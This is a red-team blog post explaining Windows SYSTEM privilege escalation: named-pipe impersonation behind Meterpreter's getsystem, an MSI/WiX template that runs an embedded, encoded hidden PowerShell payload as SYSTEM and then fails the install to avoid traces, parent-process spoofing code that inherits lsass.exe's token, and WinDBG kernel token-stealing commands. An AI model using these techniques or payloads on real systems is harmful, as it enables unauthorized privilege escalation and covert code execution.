( Original text by XPN )
For many pentesters, Meterpreter’s
command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?
In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.
Meterpreter’s «getsystem»
Most of you will have used the
module in Meterpreter before. For those that haven’t,
is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.
Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.
To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:
- ImpersonateNamedPipeClient
- ImpersonateLoggedOnUser
- ReturnToSelf
- LogonUser
- OpenProcessToken
Of these, the
API call is key to the
module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call
to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the
privilege.
This privilege is by default only available to a number of high privileged users:
This does however mean that a local Administrator account can use
, which is exactly how
works:
-
getsystem
creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.
-
getsystem
spawns a process, which creates a named pipe and awaits a connection from the service.
- The Windows service is started, causing a connection to be made to the named pipe.
- The process receives the connection, and calls
ImpersonateNamedPipeClient
, resulting in an impersonation token being created for the SYSTEM user.
All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.
To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.
To see how this works when executed, a demo can be found below:
Now that we have an idea just how
works, let’s look at a few alternative methods which can allow you to grab SYSTEM.
MSIExec method
For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:
This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.
It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.
The WIX Framework is made up of several tools, but the two that we will focus on are:
- candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
- light.exe — Takes a .WIXOBJ and creates a .MSI
Reviewing the documentation for WIX, we see that
are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:
This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an
attribute set to
.
When crafted, our WIX file will look like this:
<?xml version=«1.0«?> | |
<Wix xmlns=«http://schemas.microsoft.com/wix/2006/wi«> | |
<Product Id=«*« UpgradeCode=«12345678-1234-1234-1234-111111111111« Name=«Example Product Name« Version=«0.0.1« Manufacturer=«@_xpn_« Language=«1033«> | |
<Package InstallerVersion=«200« Compressed=«yes« Comments=«Windows Installer Package«/> | |
<Media Id=«1« Cabinet=«product.cab« EmbedCab=«yes«/> | |
<Directory Id=«TARGETDIR« Name=«SourceDir«> | |
<Directory Id=«ProgramFilesFolder«> | |
<Directory Id=«INSTALLLOCATION« Name=«Example«> | |
<Component Id=«ApplicationFiles« Guid=«12345678-1234-1234-1234-222222222222«> | |
<File Id=«ApplicationFile1« Source=«example.exe«/> | |
</Component> | |
</Directory> | |
</Directory> | |
</Directory> | |
<Feature Id=«DefaultFeature« Level=«1«> | |
<ComponentRef Id=«ApplicationFiles«/> | |
</Feature> | |
<Property Id=»cmdline»>powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA | |
</Property> | |
<CustomAction Id=«SystemShell« Execute=«deferred« Directory=«TARGETDIR« ExeCommand=‘[cmdline]‘ Return=«ignore« Impersonate=«no«/> | |
<CustomAction Id=«FailInstall« Execute=«deferred« Script=«vbscript« Return=«check«> | |
invalid vbs to fail install | |
</CustomAction> | |
<InstallExecuteSequence> | |
<Custom Action=«SystemShell« After=«InstallInitialize«></Custom> | |
<Custom Action=«FailInstall« Before=«InstallFiles«></Custom> | |
</InstallExecuteSequence> | |
</Product> | |
</Wix> |
A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:
<span class="hljs-tag"><<span class="hljs-name">Property</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"cmdline"</span>></span>powershell...<span class="hljs-tag"></<span class="hljs-name">Property</span>></span>
<span class="hljs-tag"><<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Directory</span>=<span class="hljs-string">"TARGETDIR"</span> <span class="hljs-attr">ExeCommand</span>=<span class="hljs-string">'[cmdline]'</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"ignore"</span> <span class="hljs-attr">Impersonate</span>=<span class="hljs-string">"no"</span>/></span>
This custom action is responsible for executing our provided
as SYSTEM (note the
tag, which is a nice way to get around the length limitation of the
attribute for long Powershell commands).
Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:
<span class="hljs-tag"><<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Script</span>=<span class="hljs-string">"vbscript"</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"check"</span>></span>
invalid vbs to fail install
<span class="hljs-tag"></<span class="hljs-name">CustomAction</span>></span>
Finally, we have our
tag, which is responsible for executing our custom actions in order:
<span class="hljs-tag"><<span class="hljs-name">InstallExecuteSequence</span>></span>
<span class="hljs-tag"><<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">After</span>=<span class="hljs-string">"InstallInitialize"</span>></span><span class="hljs-tag"></<span class="hljs-name">Custom</span>></span>
<span class="hljs-tag"><<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Before</span>=<span class="hljs-string">"InstallFiles"</span>></span><span class="hljs-tag"></<span class="hljs-name">Custom</span>></span>
<span class="hljs-tag"></<span class="hljs-name">InstallExecuteSequence</span>></span>
So, when executed:
- Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
- Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.
To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:
<span class="hljs-selector-tag">candle</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wix</span>
<span class="hljs-selector-tag">light</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wixobj</span>
Finally, execute the MSI file to execute our payload as SYSTEM:
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method
This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».
Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:
How this technique works is by leveraging the
Win32 API call, and using its support for assigning the parent of a newly spawned process via the
attribute.
If we review the documentation of this setting, we see the following:
So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.
We can create a new process and set the parent with the following code:
<span class="hljs-keyword">int</span> pid;
HANDLE pHandle = <span class="hljs-literal">NULL</span>;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
<span class="hljs-comment">// Set the PID to a SYSTEM process PID</span>
pid = <span class="hljs-number">555</span>;
EnableDebugPriv();
<span class="hljs-comment">// Open the process which we will inherit the handle from</span>
<span class="hljs-keyword">if</span> ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, <span class="hljs-literal">false</span>, pid)) == <span class="hljs-number">0</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error opening PID %d\n"</span>, pid);
<span class="hljs-keyword">return</span> <span class="hljs-number">2</span>;
}
<span class="hljs-comment">// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute</span>
ZeroMemory(&si, <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA));
InitializeProcThreadAttributeList(<span class="hljs-literal">NULL</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
<span class="hljs-number">0</span>,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &size);
UpdateProcThreadAttribute(si.lpAttributeList, <span class="hljs-number">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, <span class="hljs-keyword">sizeof</span>(HANDLE), <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);
si.StartupInfo.cb = <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA);
<span class="hljs-comment">// Finally, create the process</span>
ret = CreateProcessA(
<span class="hljs-string">"C:\\Windows\\system32\\cmd.exe"</span>,
<span class="hljs-literal">NULL</span>,
<span class="hljs-literal">NULL</span>,
<span class="hljs-literal">NULL</span>,
<span class="hljs-literal">true</span>,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
<span class="hljs-literal">NULL</span>,
<span class="hljs-literal">NULL</span>,
<span class="hljs-keyword">reinterpret_cast</span><LPSTARTUPINFOA>(&si),
&pi
);
<span class="hljs-keyword">if</span> (ret == <span class="hljs-literal">false</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error creating new process (%d)\n"</span>, GetLastError());
<span class="hljs-keyword">return</span> <span class="hljs-number">3</span>;
}
When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:
The source for this technique can be found here.
Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:
<span class="hljs-selector-tag">New-Win32Process</span> <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-CreationFlags</span> <span class="hljs-selector-tag">Newconsole</span> <span class="hljs-selector-tag">-ParentProcess</span> (<span class="hljs-selector-tag">Get-NtProcess</span> <span class="hljs-selector-tag">-Name</span> <span class="hljs-selector-tag">lsass</span><span class="hljs-selector-class">.exe</span>)
Bonus Round: Getting SYSTEM via the Kernel
OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.
Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.
For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)
Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the
command:
!<span class="hljs-selector-tag">process</span> 0 0 <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>
Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:
<span class="hljs-selector-tag">PROCESS</span> <span class="hljs-selector-tag">fffffa8002edd580</span>
<span class="hljs-selector-tag">SessionId</span>: 1 <span class="hljs-selector-tag">Cid</span>: 0858 <span class="hljs-selector-tag">Peb</span>: 7<span class="hljs-selector-tag">fffffd4000</span> <span class="hljs-selector-tag">ParentCid</span>: 0578
<span class="hljs-selector-tag">DirBase</span>: 09<span class="hljs-selector-tag">d37000</span> <span class="hljs-selector-tag">ObjectTable</span>: <span class="hljs-selector-tag">fffff8a0012b8ca0</span> <span class="hljs-selector-tag">HandleCount</span>: 21.
<span class="hljs-selector-tag">Image</span>: <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>
For our purpose, we are interested in the provided PROCESS address (in this example
), which is actually a pointer to an
structure. The
structure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.
Amongst the many fields in this structure is a pointer to the process’s access token, defined in a
structure. To view the contents of the token, we first must calculate the
address. On Windows 7 x64, the process
is located at offset
, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:
<span class="hljs-meta">kd></span><span class="bash"> dq fffffa8002edd580+0x208 L1</span>
This returns the token address as follows:
fffffa80`<span class="javascript"><span class="hljs-number">02</span>edd788 fffff8a0</span>`<span class="hljs-number">00</span>d76c51
As the token address is referenced within a
structure, we must
the value to gain the true pointer address:
<span class="hljs-meta">kd></span><span class="bash"> ? fffff8a0`00d76c51 & ffffffff`fffffff0</span>
Evaluate expression: -8108884136880 = fffff8a0`00d76c50
Which means that our true
address for cmd.exe is at
. Next we can dump out the
structure members for our process using the following command:
<span class="hljs-meta">kd></span><span class="bash"> !token fffff8a0`00d76c50</span>
This gives us an idea of the information held by the process token:
User: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-1001</span>
User Groups:
<span class="hljs-number">00</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">01</span> S<span class="hljs-number">-1</span><span class="hljs-number">-1</span><span class="hljs-number">-0</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">02</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-544</span>
Attributes - DenyOnly
<span class="hljs-number">03</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-545</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">04</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-4</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">05</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-1</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">06</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-11</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">07</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-15</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">08</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-5</span><span class="hljs-number">-0</span><span class="hljs-number">-2917477</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled LogonId
<span class="hljs-number">09</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-0</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">10</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-64</span><span class="hljs-number">-10</span>
Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
<span class="hljs-number">11</span> S<span class="hljs-number">-1</span><span class="hljs-number">-16</span><span class="hljs-number">-8192</span>
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
Privs:
<span class="hljs-number">19</span> <span class="hljs-number">0x000000013</span> SeShutdownPrivilege Attributes -
<span class="hljs-number">23</span> <span class="hljs-number">0x000000017</span> SeChangeNotifyPrivilege Attributes - Enabled <span class="hljs-keyword">Default</span>
<span class="hljs-number">25</span> <span class="hljs-number">0x000000019</span> SeUndockPrivilege Attributes -
<span class="hljs-number">33</span> <span class="hljs-number">0x000000021</span> SeIncreaseWorkingSetPrivilege Attributes -
<span class="hljs-number">34</span> <span class="hljs-number">0x000000022</span> SeTimeZonePrivilege Attributes -
So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:
<span class="hljs-meta">kd></span><span class="bash"> !process 0 0 lsass.exe</span>
<span class="hljs-meta">kd></span><span class="bash"> dq <LSASS_PROCESS_ADDRESS>+0x208 L1</span>
<span class="hljs-meta">kd></span><span class="bash"> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0</span>
<span class="hljs-meta">kd></span><span class="bash"> !process 0 0 cmd.exe</span>
<span class="hljs-meta">kd></span><span class="bash"> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS></span>
To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges: